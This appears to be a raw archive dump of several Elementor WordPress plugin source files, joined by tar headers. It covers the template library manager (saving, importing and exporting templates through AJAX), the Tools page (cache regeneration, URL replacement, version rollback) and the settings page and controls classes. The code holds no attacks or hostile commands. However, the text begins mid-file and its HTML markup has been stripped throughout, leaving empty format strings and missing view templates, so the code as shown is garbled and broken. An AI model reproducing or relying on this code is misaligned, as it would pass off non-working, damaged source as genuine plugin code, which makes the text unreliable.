? $control_settings['wrapper_class'] : ''; ?>
data_manager_v2->register_controller( new Controller() ); $this->register_default_sources(); $this->add_actions(); } /** * @since 2.3.0 * @access public */ public function add_actions() { add_action( 'elementor/ajax/register_actions', [ $this, 'register_ajax_actions' ] ); add_action( 'wp_ajax_elementor_library_direct_actions', [ $this, 'handle_direct_actions' ] ); } /** * Get `Import_Images` instance. * * Retrieve the instance of the `Import_Images` class. * * @since 1.0.0 * @access public * * @return Import_Images Imported images instance. */ public function get_import_images_instance() { if ( null === $this->_import_images ) { $this->_import_images = new Import_Images(); } return $this->_import_images; } /** * Register template source. * * Used to register new template sources displayed in the template library. * * @since 1.0.0 * @access public * * @param string $source_class The name of source class. * @param array $args Optional. Class arguments. Default is an * empty array. * * @return \WP_Error|true True if the source was registered, `WP_Error` * otherwise. */ public function register_source( $source_class, $args = [] ) { if ( ! class_exists( $source_class ) ) { return new \WP_Error( 'source_class_name_not_exists' ); } $source_instance = new $source_class( $args ); if ( ! $source_instance instanceof Source_Base ) { return new \WP_Error( 'wrong_instance_source' ); } $source_id = $source_instance->get_id(); if ( isset( $this->_registered_sources[ $source_id ] ) ) { return new \WP_Error( 'source_exists' ); } $this->_registered_sources[ $source_id ] = $source_instance; return true; } /** * Unregister template source. * * Remove an existing template sources from the list of registered template * sources. * * @since 1.0.0 * @deprecated 2.7.0 * @access public * * @param string $id The source ID. * * @return bool Whether the source was unregistered. */ public function unregister_source( $id ) { return true; } /** * Get registered template sources. * * Retrieve registered template sources. * * @since 1.0.0 * @access public * * @return Source_Base[] Registered template sources. */ public function get_registered_sources() { return $this->_registered_sources; } /** * Get template source. * * Retrieve single template sources for a given template ID. * * @since 1.0.0 * @access public * * @param string $id The source ID. * * @return false|Source_Base Template sources if one exist, False otherwise. */ public function get_source( $id ) { $sources = $this->get_registered_sources(); if ( ! isset( $sources[ $id ] ) ) { return false; } return $sources[ $id ]; } /** * Get templates. * * Retrieve all the templates from all the registered sources. * * @param array $filter_sources * @param bool $force_update * @return array */ public function get_templates( array $filter_sources = [], bool $force_update = false ): array { $templates = []; foreach ( $this->get_registered_sources() as $source ) { if ( ! empty( $filter_sources ) && ! in_array( $source->get_id(), $filter_sources, true ) ) { continue; } $templates = array_merge( $templates, $source->get_items( [ 'force_update' => $force_update ] ) ); } return $templates; } /** * Get library data. * * Retrieve the library data. * * @since 1.9.0 * @access public * * @param array $args Library arguments. * * @return array Library data. */ public function get_library_data( array $args ) { $library_data = Api::get_library_data( ! empty( $args['sync'] ) ); if ( empty( $library_data ) ) { return $library_data; } // Ensure all document are registered. Plugin::$instance->documents->get_document_types(); $filter_sources = ! empty( $args['filter_sources'] ) ? $args['filter_sources'] : []; $force_update = ! empty( $args['sync'] ); return [ 'templates' => $this->get_templates( $filter_sources, $force_update ), 'config' => $library_data['types_data'], ]; } /** * Save template. * * Save new or update existing template on the database. * * @since 1.0.0 * @access public * * @param array $args Template arguments. * * @return \WP_Error|int The ID of the saved/updated template. */ public function save_template( array $args ) { $validate_args = $this->ensure_args( [ 'post_id', 'source', 'content', 'type' ], $args ); if ( is_wp_error( $validate_args ) ) { return $validate_args; } $source = $this->get_source( $args['source'] ); if ( ! $source ) { return new \WP_Error( 'template_error', 'Template source not found.' ); } $args['content'] = json_decode( $args['content'], true ); $page = SettingsManager::get_settings_managers( 'page' )->get_model( $args['post_id'] ); $args['page_settings'] = $page->get_data( 'settings' ); $template_id = $source->save_item( $args ); if ( is_wp_error( $template_id ) ) { return $template_id; } return $source->get_item( $template_id ); } /** * Update template. * * Update template on the database. * * @since 1.0.0 * @access public * * @param array $template_data New template data. * * @return \WP_Error|Source_Base Template sources instance if the templates * was updated, `WP_Error` otherwise. */ public function update_template( array $template_data ) { $validate_args = $this->ensure_args( [ 'source', 'content', 'type' ], $template_data ); if ( is_wp_error( $validate_args ) ) { return $validate_args; } $source = $this->get_source( $template_data['source'] ); if ( ! $source ) { return new \WP_Error( 'template_error', 'Template source not found.' ); } $template_data['content'] = json_decode( $template_data['content'], true ); $update = $source->update_item( $template_data ); if ( is_wp_error( $update ) ) { return $update; } return $source->get_item( $template_data['id'] ); } /** * Update templates. * * Update template on the database. * * @since 1.0.0 * @access public * * @param array $args Template arguments. * * @return \WP_Error|true True if templates updated, `WP_Error` otherwise. */ public function update_templates( array $args ) { foreach ( $args['templates'] as $template_data ) { $result = $this->update_template( $template_data ); if ( is_wp_error( $result ) ) { return $result; } } return true; } /** * Get template data. * * Retrieve the template data. * * @since 1.5.0 * @access public * * @param array $args Template arguments. * * @return \WP_Error|bool|array ?? */ public function get_template_data( array $args ) { $validate_args = $this->ensure_args( [ 'source', 'template_id' ], $args ); if ( is_wp_error( $validate_args ) ) { return $validate_args; } if ( isset( $args['edit_mode'] ) ) { Plugin::$instance->editor->set_edit_mode( $args['edit_mode'] ); } $source = $this->get_source( $args['source'] ); if ( ! $source ) { return new \WP_Error( 'template_error', 'Template source not found.' ); } do_action( 'elementor/template-library/before_get_source_data', $args, $source ); $data = $source->get_data( $args ); do_action( 'elementor/template-library/after_get_source_data', $args, $source ); return $data; } /** * Delete template. * * Delete template from the database. * * @since 1.0.0 * @access public * * @param array $args Template arguments. * * @return \WP_Post|\WP_Error|false|null Post data on success, false or null * or 'WP_Error' on failure. */ public function delete_template( array $args ) { $validate_args = $this->ensure_args( [ 'source', 'template_id' ], $args ); if ( is_wp_error( $validate_args ) ) { return $validate_args; } $source = $this->get_source( $args['source'] ); if ( ! $source ) { return new \WP_Error( 'template_error', 'Template source not found.' ); } return $source->delete_template( $args['template_id'] ); } /** * Export template. * * Export template to a file after ensuring it is a valid Elementor template * and checking user permissions for private posts. * * @since 1.0.0 * @access public * * @param array $args Template arguments. * * @return mixed Whether the export succeeded or failed. */ public function export_template( array $args ) { $validate_args = $this->ensure_args( [ 'source', 'template_id' ], $args ); if ( is_wp_error( $validate_args ) ) { return $validate_args; } $post_id = intval( $args['template_id'] ); $post_status = get_post_status( $post_id ); if ( get_post_type( $post_id ) !== Source_Local::CPT ) { return new \WP_Error( 'template_error', esc_html__( 'Invalid template type or template does not exist.', 'elementor' ) ); } if ( 'private' === $post_status && ! current_user_can( 'read_private_posts', $post_id ) ) { return new \WP_Error( 'template_error', esc_html__( 'You do not have permission to access this template.', 'elementor' ) ); } if ( 'publish' !== $post_status && ! current_user_can( 'edit_post', $post_id ) ) { return new \WP_Error( 'template_error', esc_html__( 'You do not have permission to export this template.', 'elementor' ) ); } $source = $this->get_source( $args['source'] ); if ( ! $source ) { return new \WP_Error( 'template_error', 'Template source not found' ); } return $source->export_template( $args['template_id'] ); } /** * @since 2.3.0 * @access public */ public function direct_import_template() { /** @var Source_Local $source */ $source = $this->get_source( 'local' ); $file = Utils::get_super_global_value( $_FILES, 'file' ); return $source->import_template( $file['name'], $file['tmp_name'] ); } /** * Import template. * * Import template from a file. * * @since 1.0.0 * @access public * * @param array $data * * @return mixed Whether the export succeeded or failed. */ public function import_template( array $data ) { // If the template is a JSON file, allow uploading it. add_filter( 'elementor/files/allow-file-type/json', [ $this, 'enable_json_template_upload' ] ); add_filter( 'elementor/files/allow_unfiltered_upload', [ $this, 'enable_json_template_upload' ] ); // Imported templates can be either JSON files, or Zip files containing multiple JSON files $upload_result = Plugin::$instance->uploads_manager->handle_elementor_upload( $data, [ 'zip', 'json' ] ); remove_filter( 'elementor/files/allow-file-type/json', [ $this, 'enable_json_template_upload' ] ); remove_filter( 'elementor/files/allow_unfiltered_upload', [ $this, 'enable_json_template_upload' ] ); if ( is_wp_error( $upload_result ) ) { Plugin::$instance->uploads_manager->remove_file_or_dir( dirname( $upload_result['tmp_name'] ) ); return $upload_result; } /** @var Source_Local $source_local */ $source_local = $this->get_source( 'local' ); $import_result = $source_local->import_template( $upload_result['name'], $upload_result['tmp_name'] ); // Remove the temporary directory generated for the stream-uploaded file. Plugin::$instance->uploads_manager->remove_file_or_dir( dirname( $upload_result['tmp_name'] ) ); return $import_result; } /** * Enable JSON Template Upload * * Runs on the 'elementor/files/allow-file-type/json' Uploads Manager filter. * * @since 3.5.0 * @access public * * return bool */ public function enable_json_template_upload() { return true; } /** * Mark template as favorite. * * Add the template to the user favorite templates. * * @since 1.9.0 * @access public * * @param array $args Template arguments. * * @return mixed Whether the template marked as favorite. */ public function mark_template_as_favorite( $args ) { $validate_args = $this->ensure_args( [ 'source', 'template_id', 'favorite' ], $args ); if ( is_wp_error( $validate_args ) ) { return $validate_args; } $source = $this->get_source( $args['source'] ); return $source->mark_as_favorite( $args['template_id'], filter_var( $args['favorite'], FILTER_VALIDATE_BOOLEAN ) ); } public function import_from_json( array $args ) { $validate_args = $this->ensure_args( [ 'editor_post_id', 'elements' ], $args ); if ( is_wp_error( $validate_args ) ) { return $validate_args; } $elements = json_decode( $args['elements'], true ); $document = Plugin::$instance->documents->get( $args['editor_post_id'] ); if ( ! $document ) { return new \WP_Error( 'template_error', 'Document not found.' ); } $import_data = $document->get_import_data( [ 'content' => $elements ] ); return $import_data['content']; } /** * Register default template sources. * * Register the 'local' and 'remote' template sources that Elementor use by * default. * * @since 1.0.0 * @access private */ private function register_default_sources() { $sources = [ 'local', 'remote', ]; foreach ( $sources as $source_filename ) { $class_name = ucwords( $source_filename ); $class_name = str_replace( '-', '_', $class_name ); $this->register_source( __NAMESPACE__ . '\Source_' . $class_name ); } } /** * Handle ajax request. * * Fire authenticated ajax actions for any given ajax request. * * @since 1.0.0 * @access private * * @param string $ajax_request Ajax request. * * @param array $data * * @return mixed * @throws \Exception */ private function handle_ajax_request( $ajax_request, array $data ) { if ( ! User::is_current_user_can_edit_post_type( Source_Local::CPT ) ) { throw new \Exception( 'Access denied.' ); } if ( ! empty( $data['editor_post_id'] ) ) { $editor_post_id = absint( $data['editor_post_id'] ); if ( ! get_post( $editor_post_id ) ) { throw new \Exception( 'Post not found.' ); } Plugin::$instance->db->switch_to_post( $editor_post_id ); } $result = call_user_func( [ $this, $ajax_request ], $data ); if ( is_wp_error( $result ) ) { throw new \Exception( $result->get_error_message() ); } return $result; } /** * Init ajax calls. * * Initialize template library ajax calls for allowed ajax requests. * * @since 2.3.0 * @access public * * @param Ajax $ajax */ public function register_ajax_actions( Ajax $ajax ) { $library_ajax_requests = [ 'get_library_data', 'get_template_data', 'save_template', 'update_templates', 'delete_template', 'import_template', 'mark_template_as_favorite', 'import_from_json', ]; foreach ( $library_ajax_requests as $ajax_request ) { $ajax->register_ajax_action( $ajax_request, function( $data ) use ( $ajax_request ) { return $this->handle_ajax_request( $ajax_request, $data ); } ); } } /** * @since 2.3.0 * @access public */ public function handle_direct_actions() { if ( ! User::is_current_user_can_edit_post_type( Source_Local::CPT ) ) { return; } /** @var Ajax $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); if ( ! $ajax->verify_request_nonce() ) { $this->handle_direct_action_error( 'Access Denied' ); } $action = Utils::get_super_global_value( $_REQUEST, 'library_action' ); // phpcs:ignore -- Nonce already verified. $whitelist_methods = [ 'export_template', 'direct_import_template', ]; if ( in_array( $action, $whitelist_methods, true ) ) { $result = $this->$action( $_REQUEST ); // phpcs:ignore -- Nonce already verified. } else { $result = new \WP_Error( 'method_not_exists', 'Method Not exists' ); } if ( is_wp_error( $result ) ) { /** @var \WP_Error $result */ $this->handle_direct_action_error( $result->get_error_message() . '.' ); } $callback = "on_{$action}_success"; if ( method_exists( $this, $callback ) ) { $this->$callback( $result ); } die; } /** * On successful template import. * * Redirect the user to the template library after template import was * successful finished. * * @since 2.3.0 * @access private */ private function on_direct_import_template_success() { wp_safe_redirect( admin_url( Source_Local::ADMIN_MENU_SLUG ) ); } /** * @since 2.3.0 * @access private */ private function handle_direct_action_error( $message ) { _default_wp_die_handler( $message, 'Elementor Library' ); } /** * Ensure arguments exist. * * Checks whether the required arguments exist in the specified arguments. * * @since 1.0.0 * @access private * * @param array $required_args Required arguments to check whether they * exist. * @param array $specified_args The list of all the specified arguments to * check against. * * @return \WP_Error|true True on success, 'WP_Error' otherwise. */ private function ensure_args( array $required_args, array $specified_args ) { $not_specified_args = array_diff( $required_args, array_keys( $specified_args ) ); if ( $not_specified_args ) { return new \WP_Error( 'arguments_not_specified', sprintf( 'The required argument(s) "%s" not specified.', implode( ', ', $not_specified_args ) ) ); } return true; } } includes/settings/tools.php000064400000036021147206604650012077 0ustar00add_submenu( [ 'page_title' => esc_html__( 'Tools', 'elementor' ), 'menu_title' => esc_html__( 'Tools', 'elementor' ), 'menu_slug' => self::PAGE_ID, 'function' => [ $this, 'display_settings_page' ], 'index' => 50, ] ); } /** * Clear cache. * * Delete post meta containing the post CSS file data. And delete the actual * CSS files from the upload directory. * * Fired by `wp_ajax_elementor_clear_cache` action. * * @since 1.0.0 * @access public */ public function ajax_elementor_clear_cache() { check_ajax_referer( 'elementor_clear_cache', '_nonce' ); if ( ! current_user_can( static::CAPABILITY ) ) { wp_send_json_error( 'Permission denied' ); } Plugin::$instance->files_manager->clear_cache(); wp_send_json_success(); } /** * Recreate kit. * * Recreate default kit (only when default kit does not exist). * * Fired by `wp_ajax_elementor_recreate_kit` action. * * @since 1.0.0 * @access public */ public function ajax_elementor_recreate_kit() { check_ajax_referer( 'elementor_recreate_kit', '_nonce' ); if ( ! current_user_can( static::CAPABILITY ) ) { wp_send_json_error( 'Permission denied' ); } $kit = Plugin::$instance->kits_manager->get_active_kit(); if ( $kit->get_id() ) { wp_send_json_error( [ 'message' => esc_html__( 'There\'s already an active kit.', 'elementor' ) ], 400 ); } $created_default_kit = Plugin::$instance->kits_manager->create_default(); if ( ! $created_default_kit ) { wp_send_json_error( [ 'message' => esc_html__( 'An error occurred while trying to create a kit.', 'elementor' ) ], 500 ); } update_option( Manager::OPTION_ACTIVE, $created_default_kit ); wp_send_json_success( esc_html__( 'New kit have been created successfully', 'elementor' ) ); } /** * Replace URLs. * * Sends an ajax request to replace old URLs to new URLs. This method also * updates all the Elementor data. * * Fired by `wp_ajax_elementor_replace_url` action. * * @since 1.1.0 * @access public */ public function ajax_elementor_replace_url() { check_ajax_referer( 'elementor_replace_url', '_nonce' ); if ( ! current_user_can( static::CAPABILITY ) ) { wp_send_json_error( 'Permission denied' ); } $from = Utils::get_super_global_value( $_POST, 'from' ) ?? ''; $to = Utils::get_super_global_value( $_POST, 'to' ) ?? ''; try { $results = Utils::replace_urls( $from, $to ); wp_send_json_success( $results ); } catch ( \Exception $e ) { wp_send_json_error( $e->getMessage() ); } } /** * Elementor version rollback. * * Rollback to previous Elementor version. * * Fired by `admin_post_elementor_rollback` action. * * @since 1.5.0 * @access public */ public function post_elementor_rollback() { check_admin_referer( 'elementor_rollback' ); if ( ! static::can_user_rollback_versions() ) { wp_die( esc_html__( 'Not allowed to rollback versions', 'elementor' ) ); } $rollback_versions = $this->get_rollback_versions(); $version = Utils::get_super_global_value( $_GET, 'version' ); if ( empty( $version ) || ! in_array( $version, $rollback_versions, true ) ) { wp_die( esc_html__( 'An error occurred, the selected version is invalid. Try selecting different version.', 'elementor' ) ); } /** * Filter to allow override the rollback process. * Should return an instance of `Rollback` class. * * @since 3.16.0 * * @param Rollback|null $rollback The rollback instance. * @param string $version The version to roll back to. */ $rollback = apply_filters( 'elementor/settings/rollback', null, $version ); if ( ! ( $rollback instanceof Rollback ) ) { $plugin_slug = basename( ELEMENTOR__FILE__, '.php' ); $rollback = new Rollback( [ 'version' => $version, 'plugin_name' => ELEMENTOR_PLUGIN_BASE, 'plugin_slug' => $plugin_slug, 'package_url' => sprintf( 'https://downloads.wordpress.org/plugin/%s.%s.zip', $plugin_slug, $version ), ] ); } $rollback->run(); wp_die( '', esc_html__( 'Rollback to Previous Version', 'elementor' ), [ 'response' => 200, ] ); } /** * Tools page constructor. * * Initializing Elementor "Tools" page. * * @since 1.0.0 * @access public */ public function __construct() { parent::__construct(); add_action( 'elementor/admin/menu/register', function( Admin_Menu_Manager $admin_menu ) { $admin_menu->register( static::PAGE_ID, new Tools_Menu_Item( $this ) ); }, Settings::ADMIN_MENU_PRIORITY + 20 ); add_action( 'wp_ajax_elementor_clear_cache', [ $this, 'ajax_elementor_clear_cache' ] ); add_action( 'wp_ajax_elementor_replace_url', [ $this, 'ajax_elementor_replace_url' ] ); add_action( 'wp_ajax_elementor_recreate_kit', [ $this, 'ajax_elementor_recreate_kit' ] ); add_action( 'admin_post_elementor_rollback', [ $this, 'post_elementor_rollback' ] ); } private function get_rollback_versions() { $rollback_versions = get_transient( 'elementor_rollback_versions_' . ELEMENTOR_VERSION ); if ( false === $rollback_versions ) { $max_versions = 30; $versions = apply_filters( 'elementor/settings/rollback/versions', [] ); if ( empty( $versions ) ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $plugin_information = plugins_api( 'plugin_information', [ 'slug' => 'elementor', ] ); if ( empty( $plugin_information->versions ) || ! is_array( $plugin_information->versions ) ) { return []; } uksort( $plugin_information->versions, 'version_compare' ); $versions = array_keys( array_reverse( $plugin_information->versions ) ); } $rollback_versions = []; $current_index = 0; foreach ( $versions as $version ) { if ( $max_versions <= $current_index ) { break; } $lowercase_version = strtolower( $version ); $is_valid_rollback_version = ! preg_match( '/(trunk|beta|rc|dev)/i', $lowercase_version ); /** * Is rollback version is valid. * * Filters the check whether the rollback version is valid. * * @param bool $is_valid_rollback_version Whether the rollback version is valid. */ $is_valid_rollback_version = apply_filters( 'elementor/settings/tools/rollback/is_valid_rollback_version', $is_valid_rollback_version, $lowercase_version ); if ( ! $is_valid_rollback_version ) { continue; } if ( version_compare( $version, ELEMENTOR_VERSION, '>=' ) ) { continue; } $current_index++; $rollback_versions[] = $version; } set_transient( 'elementor_rollback_versions_' . ELEMENTOR_VERSION, $rollback_versions, WEEK_IN_SECONDS ); } return $rollback_versions; } /** * Create tabs. * * Return the tools page tabs, sections and fields. * * @since 1.5.0 * @access protected * * @return array An array with the page tabs, sections and fields. */ protected function create_tabs() { $rollback_html = ''; $tabs = [ 'general' => [ 'label' => esc_html__( 'General', 'elementor' ), 'sections' => [ 'tools' => [ 'fields' => [ 'clear_cache' => [ 'label' => esc_html__( 'Regenerate CSS & Data', 'elementor' ), 'field_args' => [ 'type' => 'raw_html', 'html' => sprintf( '', wp_create_nonce( 'elementor_clear_cache' ), esc_html__( 'Regenerate Files & Data', 'elementor' ) ), 'desc' => esc_html__( 'Styles set in Elementor are saved in CSS files in the uploads folder and in the site’s database. Recreate those files and settings, according to the most recent settings.', 'elementor' ), ], ], 'reset_api_data' => [ 'label' => esc_html__( 'Sync Library', 'elementor' ), 'field_args' => [ 'type' => 'raw_html', 'html' => sprintf( '', wp_create_nonce( 'elementor_reset_library' ), esc_html__( 'Sync Library', 'elementor' ) ), 'desc' => esc_html__( 'Elementor Library automatically updates on a daily basis. You can also manually update it by clicking on the sync button.', 'elementor' ), ], ], ], ], ], ], 'replace_url' => [ 'label' => esc_html__( 'Replace URL', 'elementor' ), 'sections' => [ 'replace_url' => [ 'callback' => function() { echo '

' . esc_html__( 'Replace URL', 'elementor' ) . '

'; echo sprintf( '

%1$s %2$s

', esc_html__( 'Important:', 'elementor' ), sprintf( /* translators: 1: Link open tag, 2: Link close tag. */ esc_html__( 'It is strongly recommended to %1$sbackup the database%2$s before using replacing URLs.', 'elementor' ), '', '' ) ); }, 'fields' => [ 'replace_url' => [ 'label' => esc_html__( 'Update Site Address (URL)', 'elementor' ), 'field_args' => [ 'type' => 'raw_html', 'html' => sprintf( '', wp_create_nonce( 'elementor_replace_url' ), esc_html__( 'Replace URL', 'elementor' ) ), 'desc' => esc_html__( 'Enter your old and new URLs for your WordPress installation, to update all Elementor data (Relevant for domain transfers or move to \'HTTPS\').', 'elementor' ), ], ], ], ], ], ], 'versions' => [ 'show_if' => static::can_user_rollback_versions(), 'label' => esc_html__( 'Version Control', 'elementor' ), 'sections' => [ 'rollback' => [ 'label' => esc_html__( 'Rollback to Previous Version', 'elementor' ), 'callback' => function() { $intro_text = sprintf( /* translators: %s: Elementor version. */ esc_html__( 'Experiencing an issue with Elementor version %s? Rollback to a previous version before the issue appeared.', 'elementor' ), ELEMENTOR_VERSION ); $intro_text = '

' . $intro_text . '

'; Utils::print_unescaped_internal_string( $intro_text ); }, 'fields' => [ 'rollback' => [ 'label' => esc_html__( 'Rollback Version', 'elementor' ), 'field_args' => [ 'type' => 'raw_html', 'html' => sprintf( $rollback_html . '%1$s', esc_html__( 'Reinstall', 'elementor' ), wp_nonce_url( admin_url( 'admin-post.php?action=elementor_rollback&version=VERSION' ), 'elementor_rollback' ) ), 'desc' => '' . esc_html__( 'Warning: Please backup your database before making the rollback.', 'elementor' ) . '', ], ], ], ], 'beta' => [ 'show_if' => $this->display_beta_tester(), 'label' => esc_html__( 'Become a Beta Tester', 'elementor' ), 'callback' => function() { echo '

' . esc_html__( 'Turn-on Beta Tester, to get notified when a new beta version of Elementor or Elementor Pro is available. The Beta version will not install automatically. You always have the option to ignore it.', 'elementor' ) . '

'; echo '

' . sprintf( /* translators: 1: Link open tag, 2: Link close tag. */ esc_html__( '%1$sClick here%2$s %3$sto join our first-to-know email updates.%4$s', 'elementor' ), '', '', '', '', ) . '

'; }, 'fields' => [ 'beta' => [ 'label' => esc_html__( 'Beta Tester', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => 'no', 'options' => [ 'no' => esc_html__( 'Disable', 'elementor' ), 'yes' => esc_html__( 'Enable', 'elementor' ), ], 'desc' => '' . esc_html__( 'Please Note: We do not recommend updating to a beta version on production sites.', 'elementor' ) . '', ], ], ], ], ], ], ]; if ( ! Plugin::$instance->kits_manager->get_active_kit()->get_id() ) { $tabs['general']['sections']['tools']['fields']['recreate_kit'] = [ 'label' => esc_html__( 'Recreate Kit', 'elementor' ), 'field_args' => [ 'type' => 'raw_html', 'html' => sprintf( '', wp_create_nonce( 'elementor_recreate_kit' ), esc_html__( 'Recreate Kit', 'elementor' ) ), 'desc' => esc_html__( 'It seems like your site doesn\'t have any active Kit. The active Kit includes all of your Site Settings. By recreating your Kit you will able to start edit your Site Settings again.', 'elementor' ), ], ]; } return $tabs; } /** * Get tools page title. * * Retrieve the title for the tools page. * * @since 1.5.0 * @access protected * * @return string Tools page title. */ protected function get_page_title() { return esc_html__( 'Tools', 'elementor' ); } /** * Check if the current user can access the version control tab and rollback versions. * * @return bool */ public static function can_user_rollback_versions() { return current_user_can( 'activate_plugins' ) && current_user_can( 'update_plugins' ); } /** * Check if the beta tester should be displayed. * * @since 3.19.0 * * @return bool */ public function display_beta_tester(): bool { $display_beta_tester = true; /** * Filter to allow override the display of the beta tester. * * @param bool $display_beta_tester Whether to display the beta tester. * * @since 3.19.0 * * return bool */ return apply_filters( 'elementor/admin/show_beta_tester', $display_beta_tester ); } } includes/settings/controls.php000064400000016107147206604650012605 0ustar00 '', 'attributes' => [], 'std' => '', 'desc' => '', ]; $field = array_merge( $defaults, $field ); $method_name = $field['type']; if ( ! method_exists( __CLASS__, $method_name ) ) { $method_name = 'text'; } self::$method_name( $field ); } /** * Render text control. * * Generates the final HTML for text controls. * * @since 2.0.0 * @access private * @static * * @param array $field Field data. */ private static function text( array $field ) { if ( empty( $field['attributes']['class'] ) ) { $field['attributes']['class'] = 'regular-text'; } ?> />

$option_value ) : ?>

[], ]; $field = array_merge( $defaults, $field ); $post_types_objects = get_post_types( [ 'public' => true, ], 'objects' ); /** * Filters the list of post type objects used by Elementor. * * @since 2.8.0 * * @param array $post_types_objects List of post type objects used by Elementor. */ $post_types_objects = apply_filters( 'elementor/settings/controls/checkbox_list_cpt/post_type_objects', $post_types_objects ); $field['options'] = []; foreach ( $post_types_objects as $cpt_slug => $post_type ) { if ( in_array( $cpt_slug, $field['exclude'], true ) ) { continue; } $field['options'][ $cpt_slug ] = $post_type->labels->name; } self::checkbox_list( $field ); } /** * Render checkbox list control for user roles. * * Generates the final HTML for checkbox list controls populated with user roles. * * @since 2.0.0 * @access private * @static * * @param array $field Field data. */ private static function checkbox_list_roles( array $field ) { $defaults = [ 'exclude' => [], ]; $field = array_merge( $defaults, $field ); $field['options'] = []; $roles = get_editable_roles(); if ( is_multisite() ) { $roles = [ 'super_admin' => [ 'name' => esc_html__( 'Super Admin', 'elementor' ), ], ] + $roles; } foreach ( $roles as $role_slug => $role_data ) { if ( in_array( $role_slug, $field['exclude'] ) ) { continue; } $field['options'][ $role_slug ] = $role_data['name']; } self::checkbox_list( $field ); } /** * Render raw HTML control. * * Generates the final HTML for raw HTML controls. * * @since 2.0.0 * @access private * @static * * @param array $field Field data. */ private static function raw_html( array $field ) { if ( empty( $field['html'] ) ) { return; } ?>

files_manager->clear_cache(); return $input; } } includes/settings/settings-page.php000064400000026346147206604650013522 0ustar00experiments->is_feature_active( 'home_screen' ) ? 'elementor-settings' : 'elementor'; return admin_url( "admin.php?page=$settings_page_id#tab-$tab_id" ); } /** * Settings page constructor. * * Initializing Elementor settings page. * * @since 1.5.0 * @access public */ public function __construct() { // PHPCS - The user data is not used. if ( ! empty( $_POST['option_page'] ) && static::PAGE_ID === $_POST['option_page'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing add_action( 'admin_init', [ $this, 'register_settings_fields' ] ); } } /** * Get tabs. * * Retrieve the settings page tabs, sections and fields. * * @since 1.5.0 * @access public * * @return array Settings page tabs, sections and fields. */ final public function get_tabs() { $this->ensure_tabs(); return $this->tabs; } /** * Add tab. * * Register a new tab to a settings page. * * @since 1.5.0 * @access public * * @param string $tab_id Tab ID. * @param array $tab_args Optional. Tab arguments. Default is an empty array. */ final public function add_tab( $tab_id, array $tab_args = [] ) { $this->ensure_tabs(); if ( isset( $this->tabs[ $tab_id ] ) ) { // Don't override an existing tab return; } if ( ! isset( $tab_args['sections'] ) ) { $tab_args['sections'] = []; } $this->tabs[ $tab_id ] = $tab_args; } /** * Add section. * * Register a new section to a tab. * * @since 1.5.0 * @access public * * @param string $tab_id Tab ID. * @param string $section_id Section ID. * @param array $section_args Optional. Section arguments. Default is an * empty array. */ final public function add_section( $tab_id, $section_id, array $section_args = [] ) { $this->ensure_tabs(); if ( ! isset( $this->tabs[ $tab_id ] ) ) { // If the requested tab doesn't exists, use the first tab $tab_id = key( $this->tabs ); } if ( isset( $this->tabs[ $tab_id ]['sections'][ $section_id ] ) ) { // Don't override an existing section return; } if ( ! isset( $section_args['fields'] ) ) { $section_args['fields'] = []; } $this->tabs[ $tab_id ]['sections'][ $section_id ] = $section_args; } /** * Add field. * * Register a new field to a section. * * @since 1.5.0 * @access public * * @param string $tab_id Tab ID. * @param string $section_id Section ID. * @param string $field_id Field ID. * @param array $field_args Field arguments. */ final public function add_field( $tab_id, $section_id, $field_id, array $field_args ) { $this->ensure_tabs(); if ( ! isset( $this->tabs[ $tab_id ] ) ) { // If the requested tab doesn't exists, use the first tab $tab_id = key( $this->tabs ); } if ( ! isset( $this->tabs[ $tab_id ]['sections'][ $section_id ] ) ) { // If the requested section doesn't exists, use the first section $section_id = key( $this->tabs[ $tab_id ]['sections'] ); } if ( isset( $this->tabs[ $tab_id ]['sections'][ $section_id ]['fields'][ $field_id ] ) ) { // Don't override an existing field return; } $this->tabs[ $tab_id ]['sections'][ $section_id ]['fields'][ $field_id ] = $field_args; } /** * Add fields. * * Register multiple fields to a section. * * @since 1.5.0 * @access public * * @param string $tab_id Tab ID. * @param string $section_id Section ID. * @param array $fields { * An array of fields. * * @type string $field_id Field ID. * @type array $field_args Field arguments. * } */ final public function add_fields( $tab_id, $section_id, array $fields ) { foreach ( $fields as $field_id => $field_args ) { $this->add_field( $tab_id, $section_id, $field_id, $field_args ); } } /** * Register settings fields. * * In each tab register his inner sections, and in each section register his * inner fields. * * @since 1.5.0 * @access public */ final public function register_settings_fields() { $controls_class_name = __NAMESPACE__ . '\Settings_Controls'; $tabs = $this->get_tabs(); foreach ( $tabs as $tab_id => $tab ) { foreach ( $tab['sections'] as $section_id => $section ) { $full_section_id = 'elementor_' . $section_id . '_section'; $label = isset( $section['label'] ) ? $section['label'] : ''; $section_callback = isset( $section['callback'] ) ? $section['callback'] : '__return_empty_string'; add_settings_section( $full_section_id, $label, $section_callback, static::PAGE_ID ); foreach ( $section['fields'] as $field_id => $field ) { $full_field_id = ! empty( $field['full_field_id'] ) ? $field['full_field_id'] : 'elementor_' . $field_id; $field['field_args']['id'] = $full_field_id; $field_classes = [ $full_field_id ]; if ( ! empty( $field['class'] ) ) { $field_classes[] = $field['field_args']['class']; } $field['field_args']['class'] = implode( ' ', $field_classes ); if ( ! isset( $field['render'] ) ) { $field['render'] = [ $controls_class_name, 'render' ]; } add_settings_field( $full_field_id, isset( $field['label'] ) ? $field['label'] : '', $field['render'], static::PAGE_ID, $full_section_id, $field['field_args'] ); $setting_args = []; if ( ! empty( $field['setting_args'] ) ) { $setting_args = $field['setting_args']; } register_setting( static::PAGE_ID, $full_field_id, $setting_args ); } } } } /** * Display settings page. * * Output the content for the settings page. * * @since 1.5.0 * @access public */ public function display_settings_page() { $this->register_settings_fields(); $tabs = $this->get_tabs(); ?>

get_page_title() ); ?>

$tab ) { if ( ! $this->should_render_tab( $tab ) ) { continue; } $active_class = ''; if ( 'general' === $tab_id ) { $active_class = ' elementor-active'; } $sanitized_tab_id = esc_attr( $tab_id ); // PHPCS - $active_class is a non-dynamic string and $sanitized_tab_id is escaped above. echo "
"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped foreach ( $tab['sections'] as $section_id => $section ) { if ( ! $this->should_render_section( $section ) ) { continue; } $full_section_id = 'elementor_' . $section_id . '_section'; if ( ! empty( $section['label'] ) ) { echo '

' . esc_html( $section['label'] ) . '

'; } if ( ! empty( $section['callback'] ) ) { $section['callback'](); } echo ''; do_settings_fields( static::PAGE_ID, $full_section_id ); echo '
'; } echo '
'; } submit_button(); ?>
